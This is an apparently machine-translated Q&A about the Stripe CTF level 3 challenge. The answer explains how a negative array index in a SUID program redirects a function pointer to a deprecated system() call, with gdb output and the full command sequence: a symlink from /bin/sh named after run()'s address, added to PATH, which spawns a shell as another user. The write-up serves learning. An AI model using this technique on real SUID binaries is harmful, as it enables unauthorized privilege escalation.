Gle*_*shi 3 c memory security stack symlink
所以我试图进行Stripe CTF比赛,但我对安全性一无所知,所以当我遇到问题时,我查了问题3.我仍然不明白它是如何工作的.黑客的目标是通过使用具有SUID位集的应用程序来访问不同用户的文件中的密码.这是应用程序的(简化)代码:
#define NUM_FNS 4
typedef int (*fn_ptr)(const char *);
int to_upper(const char *str)
int to_lower(const char *str)
int capitalize(const char *str)
int length(const char *str)
int run(const char *str)
{
// This function is now deprecated.
return system(str);
}
int truncate_and_call(fn_ptr *fns, int index, char *user_string)
{
char buf[64];
// Truncate supplied string
strncpy(buf, user_string, sizeof(buf) - 1);
buf[sizeof(buf) - 1] = '\0';
return fns[index](buf);
}
int main(int argc, char **argv)
{
int index;
fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length};
if (argc != 3) {
exit(-1);
}
// Parse supplied index
index = atoi(argv[1]);
if (index >= NUM_FNS) {
exit(-1);
}
return truncate_and_call(fns, index, argv[2]);
}
Run Code Online (Sandbox Code Playgroud)
这是我找到的解决方案:http://pastebin.com/VJ4xpawq
我很困惑为什么会这样.如果我运行代码类似./level03 -28" echo foo;" 我得到一个段错误.另外,为什么在printf函数中内存地址被反转?
我迷路了,想学习.先感谢您.:)
ken*_*ytm 11
此代码的目标是执行
system("/bin/sh");
Run Code Online (Sandbox Code Playgroud)
由于可执行文件的UID为'level04',因此它生成的shell也将具有'level04'的UID.
这可以通过运行"deprecated" run函数来完成:
run("/bin/sh");
Run Code Online (Sandbox Code Playgroud)
我们注意到在函数中truncate_and_call,我们将调用一个由用户输入选择的函数:
return fns[index](buf);
Run Code Online (Sandbox Code Playgroud)
因此,我们尝试创建一个内存位置并组成一个index这样的内容fns[index] == &run.
该index范围检查通过
if (index >= NUM_FNS) {
exit(-1);
}
Run Code Online (Sandbox Code Playgroud)
这意味着index我们提供的恶意必须小于4 - 但它可能是负面的!因此,我们的目标是:
fns是可写的&run写入其中buf为启动shell的东西.为了检查地址,我们在里面运行程序gdb并在truncate_and_call以下处打破:
$ gdb --quiet --args a.out 1 something
Reading symbols from ~/a.out...done.
(gdb) b truncate_and_call
Breakpoint 1 at 0x80484c5: file 3.c, line 21.
(gdb) r
Starting program: ~/a.out 1 something
Breakpoint 1, truncate_and_call (fns=0xffbffa6c, index=1, user_string=0xffc019ab "something") at 3.c:21
21 strncpy(buf, user_string, sizeof(buf) - 1);
(gdb) list
16
17 int truncate_and_call(fn_ptr *fns, int index, char *user_string)
18 {
19 char buf[64];
20 // Truncate supplied string
21 strncpy(buf, user_string, sizeof(buf) - 1);
22 buf[sizeof(buf) - 1] = '\0';
23 return fns[index](buf);
24 }
25
Run Code Online (Sandbox Code Playgroud)
请注意,此处还有一个局部变量buf,其中:
(gdb) p &buf $2 = (char (*)[64]) 0xffbffa00
之前有一个地址fns.所以第1步就完成了.我们只需要检查index,这是
(gdb) p (0xffbffa6c - 0xffbffa00) / 4 # 4 == sizeof(*fns) $4 = 27
因此,接下来的问题是如何写的内存位置&run成buf.这是很容易的,因为buf仅仅是一个strcpy的user_string,函数的第二个参数.检查地址run是
(gdb) p &run $5 = (int (*)(const char *)) 0x80484ac
在little-endian系统中,此地址被编码为字符串"\xAC\x84\x04\x08".可以使用printf命令从shell获取此字符串,或者$'...':
$ echo `printf "\xac\x84\x04\x08"`
??
$ echo $'\xac\x84\x04\x08'
??
Run Code Online (Sandbox Code Playgroud)
所以,最后一步是让它启动shell.因为如果我们分配"\xac\x84\x04\x08"到buf,什么是真正称的上是
run("\xac\x84\x04\x08");
Run Code Online (Sandbox Code Playgroud)
但我们想"/bin/sh",不是"\xac\x84\x04\x08"!这可以通过链接/bin/sh到具有名称的文件轻松解决,并将该文件"\xac\x84\x04\x08"的目录添加到$PATH:
$ export PATH=`pwd`:$PATH
$ ln -s /bin/sh $'\xac\x84\x04\x08'
$ $'\xac\x84\x04\x08'
sh-4.2$ whoami
level03
Run Code Online (Sandbox Code Playgroud)
因此,整个解决方案是:
$ export PATH=`pwd`:$PATH
$ ln -s /bin/sh $'\xac\x84\x04\x08'
$ /levels/level03 -27 $'\xac\x84\x04\x08'
sh-4.2$ whoami
level04
Run Code Online (Sandbox Code Playgroud)
(注意:数字有点不同,因为我在我的机器而不是Stripe上运行它们.)
此外,您将获得段错误,./level03 -28 "echo foo;"因为它将解释要运行的地址0x6f686365(4字节'echo'的ASCII码),这是一个无效的地址.